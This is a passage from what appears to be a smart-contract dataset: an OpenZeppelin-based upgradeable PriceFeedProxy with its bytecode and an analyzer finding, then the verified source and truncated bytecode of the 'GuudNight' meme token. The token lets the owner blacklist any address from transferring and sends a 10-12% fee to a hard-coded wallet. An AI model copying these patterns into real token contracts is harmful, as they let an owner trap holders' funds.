* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: StorageSlot
/**
* @dev Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/utils/StorageSlot.sol
*/
library StorageSlot {
struct AddressSlot {
address value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.0.0/Proxy
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.0.0/ERC1967Proxy
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract ERC1967Proxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967Proxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// File: PriceFeedProxy.sol
contract PriceFeedProxy is ERC1967Proxy {
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Initializes the upgradeable proxy with an initial implementation
* specified by `priceFeedImpl`, calling its `initialize` function
* on the proxy contract state.
*/
constructor(
address priceFeedImpl,
uint256 maxSafePriceDifference,
address stableSwapOracleAddress,
address curvePoolAddress,
address admin
)
payable
ERC1967Proxy(
priceFeedImpl,
abi.encodeWithSelector(
IPriceFeed(address(0)).initialize.selector,
maxSafePriceDifference,
stableSwapOracleAddress,
curvePoolAddress,
admin
)
)
{
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin);
}
/**
* @dev Returns the current implementation address.
*/
function implementation() external view returns (address) {
return _implementation();
}
/**
* @dev Upgrades the proxy to a new implementation, optionally performing an additional setup call.
*
* Emits an {Upgraded} event.
*
* @param setupCalldata Data for the setup call. The call is skipped if data is empty.
*/
function upgradeTo(address newImplementation, bytes memory setupCalldata) external {
require(msg.sender == _getAdmin(), "ERC1967: unauthorized");
_upgradeTo(newImplementation);
if (setupCalldata.length > 0) {
Address.functionDelegateCall(newImplementation, setupCalldata, "ERC1967: setup failed");
}
}
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Returns the current admin of the proxy.
*/
function getProxyAdmin() external view returns (address) {
return _getAdmin();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function changeProxyAdmin(address newAdmin) external {
address admin = _getAdmin();
require(msg.sender == admin, "ERC1967: unauthorized");
emit AdminChanged(admin, newAdmin);
_setAdmin(newAdmin);
}
}
|
0x6080604052600436106100435760003560e01c80635c60da1b1461005a5780636fbc15e91461008b5780638b3240a0146100ab5780639f712f2f146100c057610052565b36610052576100506100e0565b005b6100506100e0565b34801561006657600080fd5b5061006f610112565b6040516001600160a01b03909116815260200160405180910390f35b34801561009757600080fd5b506100506100a6366004610572565b610141565b3480156100b757600080fd5b5061006f6101f4565b3480156100cc57600080fd5b506100506100db366004610558565b6101fe565b61011061010b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b610310565b565b600061013c7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b905090565b610149610334565b6001600160a01b0316336001600160a01b0316146101a65760405162461bcd60e51b8152602060048201526015602482015274115490cc4e4d8dce881d5b985d5d1a1bdc9a5e9959605a1b60448201526064015b60405180910390fd5b6101af82610362565b8051156101f0576101ee828260405180604001604052806015815260200174115490cc4e4d8dce881cd95d1d5c0819985a5b1959605a1b8152506103a2565b505b5050565b600061013c610334565b6000610208610334565b9050336001600160a01b0382161461025a5760405162461bcd60e51b8152602060048201526015602482015274115490cc4e4d8dce881d5b985d5d1a1bdc9a5e9959605a1b604482015260640161019d565b604080516001600160a01b038084168252841660208201527f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f910160405180910390a17fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610380546001600160a01b0319166001600160a01b0384161790555050565b606061030083836040518060600160405280602781526020016106c5602791396103a2565b9392505050565b3b151590565b90565b3660008037600080366000845af43d6000803e80801561032f573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103546001600160a01b031690565b61036b81610476565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6060833b6104015760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b606482015260840161019d565b600080856001600160a01b03168560405161041c919061062f565b600060405180830381855af49150503d8060008114610457576040519150601f19603f3d011682016040523d82523d6000602084013e61045c565b606091505b509150915061046c828286610503565b9695505050505050565b803b6104df5760405162461bcd60e51b815260206004820152603260248201527f4552433139363750726f78793a206e657720696d706c656d656e746174696f6e604482015271081a5cc81b9bdd08184818dbdb9d1c9858dd60721b606482015260840161019d565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b60608315610512575081610300565b8251156105225782518084602001fd5b8160405162461bcd60e51b815260040161019d919061064b565b80356001600160a01b038116811461055357600080fd5b919050565b600060208284031215610569578081fd5b6103008261053c565b60008060408385031215610584578081fd5b61058d8361053c565b9150602083013567ffffffffffffffff808211156105a9578283fd5b818501915085601f8301126105bc578283fd5b8135818111156105ce576105ce6106ae565b604051601f8201601f19908116603f011681019083821181831017156105f6576105f66106ae565b8160405282815288602084870101111561060e578586fd5b82602086016020830137856020848301015280955050505050509250929050565b6000825161064181846020870161067e565b9190910192915050565b602081526000825180602084015261066a81604085016020870161067e565b601f01601f19169190910160400192915050565b60005b83811015610699578181015183820152602001610681565b838111156106a8576000848401525b50505050565b634e487b7160e01b600052604160045260246000fdfe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220cfbfa38d7d69670125b12a91889db2bcfc7650a7e9a169080425fcd1582fc21b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,434 |
0x095954e0fd73fba68f71e7fcdf896efc46a9bb45
|
/**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
/*
https://t.me/GuudNightERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GuudNight is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "GuudNight";
string private constant _symbol = "GdN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xf794080d32e961092D12D08bD1F296785906C3D9);
_feeAddrWallet2 = payable(0xf794080d32e961092D12D08bD1F296785906C3D9);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e9 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102ee578063c3c8cd801461030e578063c9567bf914610323578063dd62ed3e14610338578063ff8726021461037e57600080fd5b8063715018a6146102655780638da5cb5b1461027a57806395d89b41146102a2578063a9059cbb146102ce57600080fd5b8063273123b7116100dc578063273123b7146101d2578063313ce567146101f45780635932ead1146102105780636fc3eaec1461023057806370a082311461024557600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600981526811dd5d59139a59da1d60ba1b60208201525b604051610154919061180b565b60405180910390f35b34801561016957600080fd5b5061017d6101783660046116ab565b610393565b6040519015158152602001610154565b34801561019957600080fd5b50670de0b6b3a76400005b604051908152602001610154565b3480156101be57600080fd5b5061017d6101cd36600461166a565b6103aa565b3480156101de57600080fd5b506101f26101ed3660046115f7565b610413565b005b34801561020057600080fd5b5060405160098152602001610154565b34801561021c57600080fd5b506101f261022b3660046117a3565b610467565b34801561023c57600080fd5b506101f26104af565b34801561025157600080fd5b506101a46102603660046115f7565b6104dc565b34801561027157600080fd5b506101f26104fe565b34801561028657600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102ae57600080fd5b5060408051808201909152600381526223b22760e91b6020820152610147565b3480156102da57600080fd5b5061017d6102e93660046116ab565b610572565b3480156102fa57600080fd5b506101f26103093660046116d7565b61057f565b34801561031a57600080fd5b506101f2610615565b34801561032f57600080fd5b506101f261064b565b34801561034457600080fd5b506101a4610353366004611631565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038a57600080fd5b506101f2610a0d565b60006103a0338484610a45565b5060015b92915050565b60006103b7848484610b69565b6104098433610404856040518060600160405280602881526020016119f7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610eb6565b610a45565b5060019392505050565b6000546001600160a01b031633146104465760405162461bcd60e51b815260040161043d90611860565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104915760405162461bcd60e51b815260040161043d90611860565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104cf57600080fd5b476104d981610ef0565b50565b6001600160a01b0381166000908152600260205260408120546103a490610f75565b6000546001600160a01b031633146105285760405162461bcd60e51b815260040161043d90611860565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a0338484610b69565b6000546001600160a01b031633146105a95760405162461bcd60e51b815260040161043d90611860565b60005b8151811015610611576001600660008484815181106105cd576105cd6119a7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060981611976565b9150506105ac565b5050565b600c546001600160a01b0316336001600160a01b03161461063557600080fd5b6000610640306104dc565b90506104d981610ff9565b6000546001600160a01b031633146106755760405162461bcd60e51b815260040161043d90611860565b600f54600160a01b900460ff16156106cf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561070b3082670de0b6b3a7640000610a45565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074457600080fd5b505afa158015610758573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077c9190611614565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107c457600080fd5b505afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc9190611614565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561084457600080fd5b505af1158015610858573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087c9190611614565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ac816104dc565b6000806108c16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561092457600080fd5b505af1158015610938573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095d91906117dd565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109d557600080fd5b505af11580156109e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061191906117c0565b6000546001600160a01b03163314610a375760405162461bcd60e51b815260040161043d90611860565b670de0b6b3a7640000601055565b6001600160a01b038316610aa75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043d565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043d565b6001600160a01b038381166000818152600460209081526040808320948716808452948252918290